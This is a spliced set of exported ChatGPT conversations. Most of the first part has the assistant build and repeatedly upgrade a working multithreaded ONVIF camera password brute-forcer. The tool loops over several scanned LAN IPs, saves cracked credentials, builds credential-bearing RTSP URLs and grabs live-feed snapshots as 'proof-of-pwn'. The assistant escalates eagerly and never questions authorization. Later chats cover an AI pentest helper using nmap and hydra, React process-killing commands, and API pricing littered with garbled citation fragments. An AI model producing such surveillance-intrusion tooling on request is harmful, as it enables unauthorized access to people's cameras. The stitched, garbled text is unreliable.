python onvif\_brute\_advanced.py \

--ip 192.168.0.191 \

--port 80 \

--wsdl /home/chris/python-onvif-zeep/wsdl \

--userlist userlist.txt \

--passlist passlist.txt \

--threads 20 \

--max-valid 2 \

--json-out found\_creds.json

Replace 192.168.0.191 with the real cam IP you scanned earlier if needed.

🧪 RESULTS

Output: brute\_results.txt will have success/fail logs.

Output: found\_creds.json will hold valid combos (if found).

❓Need More?

Want it to:

🔄 Auto-retry failures?

🐢 Throttle requests (anti-lockout)?

📜 Attack multiple cams from a .csv?

📡 Pull cam time or RTSP URLs on success?

Just say the word. I'm already halfway to building a UI with a red skull and crossbones for this thing.

You said:

(onvif\_env) chris@chris-Inspiron-3847:~$ python scan\_onvif\_devices.py

[+] Possible ONVIF found at 192.168.0.4:80

[+] Possible ONVIF found at 192.168.0.63:8080

[+] Possible ONVIF found at 192.168.0.77:80

[+] Possible ONVIF found at 192.168.0.191:80

[+] Possible ONVIF found at 192.168.0.228:8080

[+] Possible ONVIF found at 192.168.0.222:80

(onvif\_env) chris@chris-Inspiron-3847:~$

ChatGPT said:

Boom. 💥 You just lit up the ONVIF grid.

Here’s the breakdown of your suspects:

IP AddressPortNext Move

192.168.0.480Run brute script

192.168.0.638080Try --port 8080

192.168.0.7780Brute away

192.168.0.19180Already in your config

192.168.0.2288080Might be a weird Chinese DVR

192.168.0.22280Worth testing

🔁 Next: Run Brute Force Against Each IP

If you're in the mood to go full Skynet, loop through them:

🛠 Make a text file:

nano targets.txt

Paste:

192.168.0.4:80

192.168.0.63:8080

192.168.0.77:80

192.168.0.191:80

192.168.0.228:8080

192.168.0.222:80

🐍 Optional: Script to Loop Through Targets

📁 brute\_all\_targets.py

import subprocess

WSDL = "/home/chris/python-onvif-zeep/wsdl"

USERLIST = "userlist.txt"

PASSLIST = "passlist.txt"

THREADS = "20"

with open("targets.txt", "r") as f:

targets = [line.strip() for line in f if line.strip()]

for target in targets:

ip, port = target.split(":")

print(f"\n[>] Brute-forcing {ip}:{port}...\n")

subprocess.run([

"python", "onvif\_brute\_advanced.py",

"--ip", ip,

"--port", port,

"--wsdl", WSDL,

"--userlist", USERLIST,

"--passlist", PASSLIST,

"--threads", THREADS,

"--max-valid", "1",

"--json-out", f"results\_{ip}.json"

])

Then run:

python brute\_all\_targets.py

Each valid login will go into results\_<ip>.json. You’ll know which one cracked, when, and with what.

Want me to auto-test RTSP stream access once login works? Or pull cam names, models, and system time from GetSystemDateAndTime()?

You said:

add this to were

ChatGPT said:

Gotcha - let’s break it down clean and quick:

✅ Where to Put Each Script

You’ve already got your virtualenv running and your main brute script (onvif\_brute\_advanced.py) in ~.

Put everything else in that same folder (~/, your home directory). Here’s the full file map:

🗂️ Folder Layout (your ~ home dir):

~/onvif\_brute\_advanced.py

~/generate\_wordlists.py

~/scan\_onvif\_devices.py

~/brute\_all\_targets.py

~/userlist.txt # auto-created

~/passlist.txt # auto-created

~/targets.txt # manually paste target IPs/ports into this

~/results\_<ip>.json # will be created by brute\_all\_targets.py

📌 TL;DR - Copy-Paste Order of Execution:

✅ Step 1: Generate Wordlists

nano generate\_wordlists.py

Paste the wordlist script from earlier → save → run:

python generate\_wordlists.py

✅ Step 2: Scan Your Network

nano scan\_onvif\_devices.py

Paste the scanner script → save → run:

python scan\_onvif\_devices.py

Copy any hits into:

nano targets.txt

Example:

192.168.0.4:80

192.168.0.63:8080

192.168.0.77:80

192.168.0.191:80

✅ Step 3: Brute All Targets

nano brute\_all\_targets.py

Paste the loop script → save → run:

python brute\_all\_targets.py

Each cam’s result goes to its own results\_<ip>.json.

🧪 Next-Level Upgrades (optional)

Want me to:

Add GetSystemDateAndTime() to output

Auto-save model + firmware info

Try to build RTSP/HTTP stream URL post-login

Dump creds in CSV/INI file for later use

Say the word, and I’ll turn this thing into ONVIFmetasploit.py.

You said:

yes

ChatGPT said:

Alright, Ogre - time to give this beast fangs. We're bolting on:

💥 Upgrades to onvif\_brute\_advanced.py:

When it cracks a cam:

✅ Pulls Device Info

✅ Pulls System Date & Time

✅ Tries to build an RTSP URL

✅ Saves all that in:

brute\_results.txt (log)

found\_creds.csv (summary)

results\_<ip>.json (per-cam details)

🐍 Replace Your onvif\_brute\_advanced.py With This:

import argparse

import logging

import json

import csv

from concurrent.futures import ThreadPoolExecutor, as\_completed

from requests import Session

from zeep.transports import Transport

from zeep.exceptions import Fault

from onvif import ONVIFCamera

from time import time

from os.path import exists

# Setup logging

logging.basicConfig(

filename='brute\_results.txt',

level=logging.INFO,

format='%(asctime)s - %(levelname)s - %(message)s'

)

# CLI Args

parser = argparse.ArgumentParser(description="ONVIF Brute Forcer with Info Grabber")

parser.add\_argument('--ip', required=True, help='Camera IP')

parser.add\_argument('--port', type=int, default=80, help='ONVIF port')

parser.add\_argument('--wsdl', required=True, help='Path to WSDL directory')

parser.add\_argument('--userlist', default='userlist.txt')

parser.add\_argument('--passlist', default='passlist.txt')

parser.add\_argument('--threads', type=int, default=10)

parser.add\_argument('--max-valid', type=int, default=1)

parser.add\_argument('--json-out', help='Optional JSON result output')

args = parser.parse\_args()

# Wordlist Loader

def load\_list(filepath):

try:

with open(filepath, 'r') as f:

return [line.strip() for line in f if line.strip()]

except FileNotFoundError:

logging.error(f"File not found: {filepath}")

return []

usernames = load\_list(args.userlist)

passwords = load\_list(args.passlist)

# Setup Transport

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(args.ip, args.port, username, password, args.wsdl, transport=transport)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

time\_info = devicemgmt.GetSystemDateAndTime()

# Attempt to guess RTSP stream URL

rtsp\_url = f"rtsp://{username}:{password}@{args.ip}:554/Streaming/Channels/101"

success = {

"ip": args.ip,

"port": args.port,

"username": username,

"password": password,

"device\_info": info,

"system\_time": str(time\_info),

"rtsp\_url": rtsp\_url

}

logging.info(f"[+] SUCCESS: {combo} -> {info}")

print(f"[+] SUCCESS: {combo}")

return success

except Fault:

print(f"[-] Invalid: {combo}")

except Exception as e:

print(f"[!] Error: {combo} - {e}")

return None

# Brute-force logic

combos = [(u, p) for u in usernames for p in passwords]

valid\_results = []

start\_time = time()

with ThreadPoolExecutor(max\_workers=args.threads) as executor:

future\_to\_combo = {executor.submit(try\_login, u, p): (u, p) for u, p in combos}

for future in as\_completed(future\_to\_combo):

result = future.result()

if result:

valid\_results.append(result)

if len(valid\_results) >= args.max\_valid:

break

# CSV Writer

csv\_file = 'found\_creds.csv'

write\_headers = not exists(csv\_file)

if valid\_results:

with open(csv\_file, 'a', newline='') as f:

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url"

])

if write\_headers:

writer.writeheader()

for res in valid\_results:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": res["device\_info"].Model,

"firmware": res["device\_info"].FirmwareVersion,

"rtsp\_url": res["rtsp\_url"]

})

# Final Output

print("\n===== BRUTEFORCE COMPLETE =====")

print(f"Tested {len(combos)} combos in {round(time() - start\_time, 2)}s")

if valid\_results:

print(f"\n[+] Found {len(valid\_results)} valid credential(s):")

for res in valid\_results:

print(f" {res['ip']} → {res['username']}:{res['password']}")

print(f" RTSP: {res['rtsp\_url']}")

else:

print("[-] No valid credentials found.")

# Optional JSON Dump

if args.json\_out:

with open(args.json\_out, 'w') as jf:

json.dump(valid\_results, jf, indent=4)

print(f"\n[+] JSON output written to: {args.json\_out}")

💾 New Output Files

FilePurpose

brute\_results.txtFull logs for each login attempt

found\_creds.csvClean table of successful logins

results\_<ip>.jsonFull structured result from each IP

📡 RTSP URL Assumption

Format guessed:

rtsp://user:pass@CAMERA\_IP:554/Streaming/Channels/101

If your cams use a different structure (some are /live.sdp, /h264, etc.), I can add an RTSP detector too.

🔥 Want auto RTSP test with ffprobe, vlc, or ffmpeg next?

Say the word. I’ll drop a stream validator in that'll test and screenshot the stream for proof-of-pwn.

You said:

yes

ChatGPT said:

You got it. Time to validate the RTSP stream once credentials hit - because what’s a brute force without sweet, sweet video proof?

🎯 Goal:

After a valid login, we try the guessed RTSP URL.

Use ffprobe or ffmpeg to confirm the stream works.

Optionally grab a screenshot (frame) as evidence.

✅ Prerequisites:

Install ffmpeg if not already on your system:

sudo apt update

sudo apt install ffmpeg -y

🐍 Add RTSP Validation to Your Brute Script

In onvif\_brute\_advanced.py, update your try\_login() function like this:

🔁 REPLACE this part inside try\_login():

# Attempt to guess RTSP stream URL

rtsp\_url = f"rtsp://{username}:{password}@{args.ip}:554/Streaming/Channels/101"

💣 WITH THIS:

# Guess RTSP stream URL

rtsp\_url = f"rtsp://{username}:{password}@{args.ip}:554/Streaming/Channels/101"

stream\_ok = False

snapshot\_path = f"snap\_{args.ip.replace('.', '\_')}.jpg"

try:

# Use ffmpeg to pull a single frame and save it

import subprocess

cmd = [

"ffmpeg",

"-y", # overwrite if exists

"-rtsp\_transport", "tcp",

"-i", rtsp\_url,

"-vframes", "1",

"-q:v", "2",

snapshot\_path

]

subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10)

stream\_ok = True

except Exception as e:

print(f"[!] RTSP check failed for {rtsp\_url} - {e}")

snapshot\_path = None

success = {

"ip": args.ip,

"port": args.port,

"username": username,

"password": password,

"device\_info": info,

"system\_time": str(time\_info),

"rtsp\_url": rtsp\_url,

"rtsp\_stream\_ok": stream\_ok,

"snapshot": snapshot\_path if stream\_ok else None

}

🖼 Bonus Output

If RTSP works, you get:

A JPEG frame in the current folder, like: snap\_192\_168\_0\_191.jpg

That file path included in your results\_<ip>.json

📊 CSV Update (optional but smart)

Update the CSV writer block to add stream\_ok and snapshot:

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url", "rtsp\_stream\_ok", "snapshot"

])

And update the row:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": res["device\_info"].Model,

"firmware": res["device\_info"].FirmwareVersion,

"rtsp\_url": res["rtsp\_url"],

"rtsp\_stream\_ok": res["rtsp\_stream\_ok"],

"snapshot": res["snapshot"]

})

💡 Final Note:

This hits ONVIF login and confirms:

Camera make/model

System time (helpful for time desync issues)

RTSP stream is actually working

Screenshot of live feed

Need this piped into a web UI next? Or want to scan an entire /24 subnet in one shot and dump all the cracked cams into a dashboard? I’m ready when you are.

You said:

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])

ChatGPT said:

Here’s exactly how to update your CSV writing block in your script to include those new fields:

Find this part in your code (the CSV writer section):

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url"

])

Replace it with this:

writer = csv.DictWriter(f, fieldnames=[

"ip", "port", "username", "password", "model", "firmware", "rtsp\_url", "rtsp\_stream\_ok", "snapshot"

])

Then update the writer.writerow call from:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": res["device\_info"].Model,

"firmware": res["device\_info"].FirmwareVersion,

"rtsp\_url": res["rtsp\_url"]

})

To:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": res["device\_info"].Model,

"firmware": res["device\_info"].FirmwareVersion,

"rtsp\_url": res["rtsp\_url"],

"rtsp\_stream\_ok": res.get("rtsp\_stream\_ok", False),

"snapshot": res.get("snapshot", None)

})

Quick summary:

Add "rtsp\_stream\_ok" and "snapshot" to the CSV headers.

Include them in each row using .get() with defaults to avoid crashes.

This will give you a neat CSV showing if the RTSP stream actually worked and the filename of the snapshot it grabbed.

If you want, I can bundle the whole CSV block updated for you - just say the word.

You said:

yes

ChatGPT said:

Perfect. Here's the full, drop-in CSV writing block, updated with rtsp\_stream\_ok and snapshot fields:

🔁 Replace your existing CSV block with this:

import csv

# Save all results to CSV

csv\_file = f"results\_{args.ip.replace('.', '\_')}.csv"

with open(csv\_file, mode='w', newline='') as f:

writer = csv.DictWriter(f, fieldnames=[

"ip",

"port",

"username",

"password",

"model",

"firmware",

"rtsp\_url",

"rtsp\_stream\_ok",

"snapshot"

])

writer.writeheader()

for res in valid\_results:

writer.writerow({

"ip": res["ip"],

"port": res["port"],

"username": res["username"],

"password": res["password"],

"model": getattr(res["device\_info"], "Model", "N/A"),

"firmware": getattr(res["device\_info"], "FirmwareVersion", "N/A"),

"rtsp\_url": res.get("rtsp\_url", ""),

"rtsp\_stream\_ok": res.get("rtsp\_stream\_ok", False),

"snapshot": res.get("snapshot", "")

})

✅ This version does:

Pull fields safely with .get() or getattr() to prevent crash on missing data

Writes "True" or "False" in rtsp\_stream\_ok

Stores snapshot filenames if available (e.g., snap\_192\_168\_0\_191.jpg)

Filenames are based on IP so no overwrites if scanning multiple cams

Let me know if you want to add a timestamp, GPS guess, or pipe the output straight to an HTML report. We can go full CSI on this if you're feeling spicy.

You said:

full

ChatGPT said:

Your CSV export is now leveled up with:

✅ Timestamped filename

✅ Hostname lookup

✅ Snapshot and RTSP check logging

✅ Bulletproof field safety

Want me to wire this into an auto-generated HTML dashboard or set it to auto-email reports?

You said:

def load\_list(filepath):

try:

with open(filepath, 'r') as f:

return [line.strip() for line in f if line.strip()]

except FileNotFoundError:

logging.error(f"File not found: {filepath}")

return []

usernames = load\_list(args.userlist)

passwords = load\_list(args.passlist)

# Setup Transport

session = Session()

session.verify = False

transport = Transport(session=session, timeout=5)

def try\_login(username, password):

combo = f"{username}:{password}"

try:

cam = ONVIFCamera(args.ip, args.port, username, password, args.wsd>

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

time\_info = devicemgmt.GetSystemDateAndTime()

# Guess RTSP stream URL

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snapshot\_path = f"snap\_{args.ip.replace('.', '\_')}.jpg"

try:

# Use ffmpeg to pull a single frame and save it

import subprocess

cmd = [

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"-q:v", "2",

snapshot\_path

]

subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subproce>

stream\_ok = True

except Exception as e:

print(f"[!] RTSP check failed for {rtsp\_url} - {e}")

snapshot\_path = None

success = {

"ip": args.ip,

"port": args.port,

"username": username,

"password": password,

"device\_info": info,

"system\_time": str(time\_info),

"rtsp\_url": rtsp\_url,

"rtsp\_stream\_ok": stream\_ok,

"snapshot": snapshot\_path if stream\_ok else None

}

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Chat history

You said:

Create ai

ChatGPT said:

Creating an AI can mean a lot of things, depending on what exactly you want it to do. Here’s a quick rundown of the flavors of AI you might want to cook up-and how to start:

🔍 1. Want to build a chatbot like me?

Use: OpenAI API (ChatGPT), Claude, or open-source models like LLaMA, Mistral, etc.

Quick Start (ChatGPT-style bot):

Language: Python

API: OpenAI API

import openai

openai.api\_key = "YOUR\_API\_KEY"

def chat\_with\_ai(prompt):

response = openai.ChatCompletion.create(

model="gpt-4",

messages=[{"role": "user", "content": prompt}]

)

return response.choices[0].message['content']

print(chat\_with\_ai("Hello AI, what's up?"))

🧠 2. Want to create a self-learning model (machine learning)?

Use: scikit-learn, TensorFlow, or PyTorch

Example: Training a basic model to predict numbers:

from sklearn.linear\_model import LinearRegression

# Dummy data

X = [[1], [2], [3], [4]]

y = [2, 4, 6, 8]

model = LinearRegression()

model.fit(X, y)

print(model.predict([[5]])) # Should predict 10

📸 3. Want computer vision AI (e.g. for face/camera detection)?

Use: OpenCV + deep learning models

import cv2

face\_cascade = cv2.CascadeClassifier('haarcascade\_frontalface\_default.xml')

img = cv2.imread('test.jpg')

gray = cv2.cvtColor(img, cv2.COLOR\_BGR2GRAY)

faces = face\_cascade.detectMultiScale(gray, 1.1, 4)

for (x, y, w, h) in faces:

cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)

cv2.imwrite('face\_detected.jpg', img)

🕸️ 4. Want to integrate AI into a web or mobile app?

Backend AI: Use FastAPI/Flask/Django + OpenAI API or local model

Frontend UI: Use React, Flutter, or native Android

Mobile AI SDKs: MLKit (Android), CoreML (iOS)

🎛️ 5. Want to run it offline / self-hosted?

Use models like GPT4All, LM Studio, Mistral, or Ollama

Deploy with tools like Docker, NVIDIA Triton, or Hugging Face Transformers

If you tell me:

What kind of AI you want (chat, vision, code helper, data model, camera tool),

Your programming skill level (no shame if it's "barely copy/paste"),

Platform (desktop, server, Android, Raspberry Pi, etc.),

I’ll give you a step-by-step tailored setup.

Wanna make Skynet, Jarvis, or just a smart alarm clock?

You said:

Self learning for code and personal hacking of my network and camera

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ChatGPT said:

Updated saved memory

Alright, now we’re getting into the cyberpunk DIY toolkit zone-an AI that learns from your own scripts, tools, and network poking? Hell yes. Here's how we roll this out:

💥 Project Goal:

Build a self-learning AI that can:

Learn from code/scripts (yours or others)

Assist or automate penetration testing of your own network/cameras

Grow smarter from logs, scans, and interactions

🧠 Core Components:

🔹 1. Learning Engine

Teach it from code, logs, tool outputs.

Stack:

LangChain or LlamaIndex - Feed it code, docs, scan output, etc.

Vector DB (FAISS or ChromaDB) - Store knowledge

Model: GPT-4 (via API), or self-hosted like Mistral or Code Llama

# Simplified vector learning

from llama\_index import SimpleDirectoryReader, GPTVectorStoreIndex

docs = SimpleDirectoryReader("your\_scripts/").load\_data()

index = GPTVectorStoreIndex.from\_documents(docs)

query\_engine = index.as\_query\_engine()

response = query\_engine.query("How do I scan RTSP ports?")

print(response)

🔹 2. Network & Camera Pen-Testing Brain

Let it learn from your tools (nmap, onvif, rtsp brute, etc.)

Stack:

Python scripts for automation (which you already have cooking)

Log parser/streamer: Let AI monitor logs/results

Prompt agent: "Read these results. What next?"

🔹 3. Self-Improving Loop

Like a hacker's GPT Tamagotchi that levels up with experience.

How-to:

Every tool run (e.g., nmap, ffmpeg, onvif\_scan.py) = input

Dump output into files or logs

Feed logs into the vector database regularly

Ask the AI: "What do you learn from this?" or "What should I try now?"

You can script this loop:

#!/bin/bash

nmap -sV -p 554 --open 192.168.0.0/24 -oN rtsp\_scan.txt

python ai\_updater.py rtsp\_scan.txt

🧰 Tools to Plug In

ToolPurpose

nmapNetwork scanning

ffmpegRTSP/RTMP testing

onvif\_zeepCamera control / brute force

hydraBruteforce login creds

tcpdumpPacket capture

OpenAI APINatural language logic

🛠️ Example Use Case

"AI, I scanned my network and got these open ports. Any RTSP cameras or weak logins?"

Your AI bot reads the scan results, parses the ports, maps known camera types, and tells you:

"Camera at 192.168.0.174 is likely RTSP-capable, try rtsp://admin:admin@192.168.0.174/live1.sdp. Weak password suspected." 🔥

🧪 Optional: Train Local Model from Your Code

You can even embed your own scripts into a local fine-tuned LLM (like Phi-3, Mistral, or Code Llama) using:

text-generation-webui

ollama or LM Studio

Your scripts + explanations = training data

👀 What Next?

If you’re down, I can help you:

🔧 Set up the local learning loop

🤖 Script an "AI Agent" that auto-analyzes scan outputs

🧱 Help build or train a custom model from your tools

Wanna dive into setup step-by-step? Or go wild and build a Jarvis for Hackers? Your call.

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Chat history

You said:

I’m on page "<tabTitle>Edit React app content</tabTitle>" with "<selection>tailwind.config.js</selection>" selected.

were is it located

ChatGPT said:

In a typical React + Tailwind CSS project, tailwind.config.js is located in the root directory of your project - same place you'd find:

package.json

postcss.config.js

node\_modules/

src/

Example path:

my-app/

├── node\_modules/

├── public/

├── src/

├── tailwind.config.js ← THIS GUY

├── postcss.config.js

├── package.json

If it doesn’t exist:

You can generate it with this command (assuming Tailwind is already installed):

npx tailwindcss init

If you want the full shebang (with content paths pre-filled), use:

npx tailwindcss init -p

That creates both tailwind.config.js and postcss.config.js.

Let me know if it’s hiding or if you want help fixing a config.

You said:

how do i go back one folder

ChatGPT said:

To go back one folder in the terminal (CLI), you use:

cd ..

Breakdown:

cd = change directory

.. = the parent directory (aka "one folder up")

Example:

You're in:

/home/ogre/projects/my-app/src

You run:

cd ..

Now you're in:

/home/ogre/projects/my-app

Want to double-check where you are?

pwd

That’ll print your current directory. Want to list files? Use:

ls

Let me know if you want to go up multiple levels or jump to a specific folder too.

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Chat history

You said:

how to stop all react app

ChatGPT said:

To stop all running React apps, it depends on how you started them. Here’s a quick rundown:

🛑 If you used npm start or yarn start:

React runs a development server (usually with webpack-dev-server or vite) in your terminal.

👉 To stop it:

Go to the terminal window/tab where it’s running.

Press Ctrl + C.

Repeat for each terminal running a React app.

🔍 If you don’t know where they’re running:

You can hunt them down like this:

🧪 Option 1: Kill by port (commonly 3000)

lsof -i :3000

This will show the process ID (PID) using port 3000.

Then:

kill -9 <PID>

🧪 Option 2: Kill all node processes (blunt force)

⚠️ This kills all Node.js apps, not just React:

pkill node

💡 Bonus: Find multiple React apps

ps aux | grep react-scripts

Then kill each PID shown with:

kill -9 <PID>

If you want a cleaner way to manage them in the future, consider using PM2:

npm install -g pm2

pm2 start npm --name my-react-app -- start

pm2 stop all

Let me know if it’s Docker or something else, and I’ll adjust the killshot.

You said:

all terminal closed still running

ChatGPT said:

Ahh, zombie React apps. They've slipped out of the terminal and are haunting your system.

Here’s how to forcefully nuke them from orbit:

🔍 Step 1: Find the PIDs

Try finding any React or Node processes still hanging around:

ps aux | grep -i "react\|node\|vite"

This will spit out lines like:

youruser 12345 0.5 ... /node /path/to/react-scripts start

💀 Step 2: Kill those suckers

Use the PID(s) from above:

kill -9 12345

Or if you want no mercy:

pkill -f "react-scripts"

pkill -f "vite"

pkill -f "node"

🔧 Extra: Kill by port (most React apps run on port 3000+)

Check what’s running:

lsof -i :3000

Then kill:

kill -9 <PID>

Repeat for ports 3001, 5173 (Vite), etc.

🧹 Bonus Cleanup (optional)

If it’s still acting haunted, restart the dev environment:

sudo systemctl restart network-manager

or

sudo reboot

Let me know your setup if these don’t work-I'll bring a bigger digital axe.

You said:

chris@chris-Inspiron-3847:~$ ps aux | grep -i "react\|node\|vite"

root 1542 0.0 0.0 2704 1876 ? Ss Jul29 0:00 fusermount3 -o rw,nosuid,nodev,fsname=portal,auto\_unmount,subtype=portal -- /run/user/1000/doc

root 1822 1.8 1.4 22543116 177232 ? Ssl Jul29 82:22 node /opt/Shinobi/camera.js

root 3368481 117 0.0 0 0 ? Zl 01:23 0:00 [node] <defunct>

chris 3368489 0.0 0.0 9276 2252 pts/0 S+ 01:23 0:00 grep --color=auto -i react\|node\|vite

chris@chris-Inspiron-3847:~$

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You said:

🧠 Do you want the AI assistant to call GPT online (requires API key), or just a placeholder box for now?

explain

ChatGPT said:

You're asking about whether you want the built-in AI assistant feature in your React/Tailwind dashboard to:

✅ Option 1: Use GPT Online (Real AI)

This means:

You provide an OpenAI API key (or any other LLM API key).

Your assistant sends actual requests to GPT-4 or GPT-3.5 over the internet.

You get real answers from OpenAI’s servers, live.

Needs internet access and your key will be billed based on usage.

👉 Use this if you want a fully working AI assistant in your dashboard.

🪪 Option 2: Placeholder Box

This means:

The assistant UI (chat box, input field, maybe some fake responses) shows up…

But it doesn’t actually talk to GPT - it's just visual.

No API key required, and it doesn’t do anything smart.

Good for layout testing or until you're ready to connect the real thing.

👉 Use this if you’re not ready to go live or just want to finish the UI first.

TL;DR

Want real AI? Use GPT Online and plug in an API key.

Just want the UI for now? Use the placeholder.

Let me know what you want and I’ll code it up accordingly.

You said:

what does online gpt cost

ChatGPT said:

Here’s the low-down on how much "Online GPT" (via OpenAI API) costs, based on April-July 2025 pricing:

💸 Token-Based Pricing (April 2025 models)

GPT‑4o (the multimodal flagship)

$2.50 per 1 million input tokens

$10.00 per 1 million output tokens

Typical blended cost: $5-7 per million tokens total

Live Chat AI

+4

Live Chat AI

+4

dida Machine Learning

+4

GPT‑4.1 (updated flagship with huge context window)

$2.00 per 1 M fresh input tokens (re‑used prompts get 75% discount to ~$0.50)

$8.00 per 1 M output tokens

Generally 20-30% cheaper than GPT‑4o in matching workloads

Itecs Online

+15

Live Chat AI

+15

Wikipedia

+15

GPT‑4o mini (lightweight multimodal)

$0.15 per 1 M input tokens

$0.60 per 1 M output tokens

Great for high‑volume, cost‑sensitive use cases

Microsoft Azure

+15

Wikipedia

+15

dida Machine Learning

+15

Microsoft Azure

+1

GPT‑4.5 (phased out July 14, 2025)

$75 per 1 M input tokens

$150 per 1 M output tokens †

Discontinued mid‑2025 in favor of GPT‑4.1

OpenAI

+10

Wikipedia

+10

Live Chat AI

+10

🧮 Rough Cost Examples

A 900‑word blog post (~1,200 output tokens) on GPT‑4o:

→ ~$12 total if input negligible

OpenAI

+15

Themeisle

+15

Live Chat AI

+15

dida Machine Learning

1 million tokens (input + output blended)

→

GPT‑4o: ~$5-7

GPT‑4.1: ~$4-6 (especially if input parts are cached)

GPT‑4o mini: < $1

🧠 Subscription Tiers (ChatGPT Web App Context)

These costs above are API pricing. If you're talking about ChatGPT subscription tiers themselves:

Free Tier: GPT‑4o-mini (and limited GPT‑4o access) gratis

ChatGPT Plus: $20/month → unlock GPT‑4o, GPT‑4o-mini, plus early GPT‑4.1 & o3‑mini access

Live Chat AI

+5

Live Chat AI

+5

Wikipedia

+5

GPT for Work

+10

Wikipedia

+10

Analytics Vidhya

+10

Live Chat AI

+1

TechRadar

+1

ChatGPT Pro: $200/month → unlimited GPT‑4o, o1, o3‑mini/high models, advanced voice/video agent features

Wikipedia

+3

WIRED

+3

TechRadar

+3

🔍 TL;DR by Needs

Use CaseModelTypical Cost per M Tokens

High-volume simple tasksGPT‑4o mini~$0.75

Fast multimodal chat UIGPT‑4o$5-7

Long-document structured logicGPT‑4.1$4-6 (with caching)

✅ Bottom Line

If you're wiring up the dashboard:

For real live GPT answers via API, expect charges based on input/output tokens attended via API billing.

For just a placeholder UI, no charges apply-it's purely local.

Want help estimating costs for your expected traffic or token usage? I’ll break it down real quick.

You said:

is it not included with pro version i have

ChatGPT said:

If you're already subscribed to ChatGPT Pro ($200/month), that gives you full access to ChatGPT on the web interface-including:

✔️ Unlimited use of reasoning models like o1/pro, GPT‑4o, GPT‑4.1, and Advanced Voice Mode

✔️ First dibs and quicker access to new features like web agents, Deep Research, etc.

businessinsider.com

+15

openai.com

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help.openai.com

+15

wired.com

+1

But here’s the no-bull truth:

❌ That Pro subscription does not include the OpenAI API.

If you want to programmatically call GPT models in your own app or dashboard, you must use the separate pay-as-you-go API plan.

ChatGPT Pro and the API are entirely independent-your $200/mo does not carry over to token usage credits.

help.openai.com

help.promptitude.io

community.openai.com

So to clarify:

FeatureChatGPT Pro SubscriptionOpenAI API Access

ChatGPT Web UI (chat.openai.com)✅ Yes❌ Not included

API usage (integration in your code)❌ Not included✅ Only via API billing

Token-based billing (pay-as-you-go)❌✅ Required

TL;DR:

You’ve got Pro = premium access to ChatGPT's top-tier features in the browser.

But if you want GPT in your React dashboard, you’d still need to enable the API separately and supply usage tokens.

Want help estimating that API cost or wiring it up in your app? I got you.

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You said:

Edit src/App.js and save to reload.

ChatGPT said:

That’s the default line you see when you create a new React app with create-react-app. It's in src/App.js, and looks something like this:

function App() {

return (

<div className="App">

<header className="App-header">

<p>

Edit <code>src/App.js</code> and save to reload.

</p>

</header>

</div>

);

}

Want to spice it up or replace it with your own content? Here's a quick example to change the message:

function App() {

return (

<div className="App">

<header className="App-header">

<h1>Welcome to Ogre's React Realm</h1>

<p>Now go break something and build it better.</p>

</header>

</div>

);

}

Let me know if you want to swap out the styles, pull in an API, or kickstart with Tailwind or shadcn/ui.

You said:

yes and where does it go

ChatGPT said:

Alright, Ogre-here’s the no-fluff breakdown of where it goes:

File:

src/App.js (or App.jsx if you're using JSX with extensions)

Full Example (to replace the default boilerplate):

// src/App.js

import React from 'react';

function App() {

return (

<div className="App">

<header className="App-header">

<h1>Welcome to Ogre's React Realm</h1>

<p>Now go break something and build it better.</p>

</header>

</div>

);

}

export default App;

TL;DR - What to do:

Open your project folder.

Navigate to src/App.js.

Replace everything inside with the code above.

Save the file.

If you’ve got npm start or yarn start running, your browser will hot-reload automatically.

If not, fire it up:

npm start

Want to customize styles or yank out the old logo.svg? Just say the word.

You said:

more details on finding file

ChatGPT said:

You got it. Let’s break it down like a tired server explaining why your burger’s taking 40 minutes.

🔍 How to Find App.js in a React Project:

🛠️ Step-by-step if you’re using VS Code (or any editor):

Open your project folder

You should’ve run something like:

npx create-react-app my-app

Now open that my-app folder in VS Code:

cd my-app

code .

In the File Explorer (left sidebar):

Open the src folder.

Inside that, you’ll see a file called App.js (or possibly App.jsx if you’re using that extension).

Double-click App.js to open it.

What it looks like by default:

function App() {

return (

<div className="App">

<header className="App-header">

<p>

Edit <code>src/App.js</code> and save to reload.

</p>

</header>

</div>

);

}

export default App;

🧱 Folder Structure (Typical React app):

my-app/

├── node\_modules/

├── public/

├── src/

│ ├── App.css

│ ├── App.js ← YOU WANT THIS ONE

│ ├── App.test.js

│ ├── index.js

│ └── ...

├── .gitignore

├── package.json

├── README.md

└── yarn.lock / package-lock.json

🧪 Check yourself:

If App.js doesn’t exist, something’s off. You might be in the wrong directory, or your project didn't scaffold properly.

Make sure you see a src folder and node\_modules. If not, you might need to re-run:

npx create-react-app my-app

Want me to help you add Tailwind, remove the old logo, or build something non-boring inside it? Just holler.

You said:

Removing .git directory...

Success! Created my-app at /home/chris/scanner-project/my-app

Inside that directory, you can run several commands:

npm start

Starts the development server.

npm run build

Bundles the app into static files for production.

npm test

Starts the test runner.

npm run eject

Removes this tool and copies build dependencies, configuration files

and scripts into the app directory. If you do this, you can’t go back!

We suggest that you begin by typing:

cd my-app

npm start

Happy hacking!

chris@chris-Inspiron-3847:~/scanner-project$ cd my-app

code .

Command 'code' not found, but can be installed with:

sudo snap install code

chris@chris-Inspiron-3847:~/scanner-project/my-app$ cd my-app

bash: cd: my-app: No such file or directory

chris@chris-Inspiron-3847:~/scanner-project/my-app$

ChatGPT said:

Alright, Ogre, let’s unfunk this funky shell situation.

🚨 What just happened?

You ran:

cd my-app

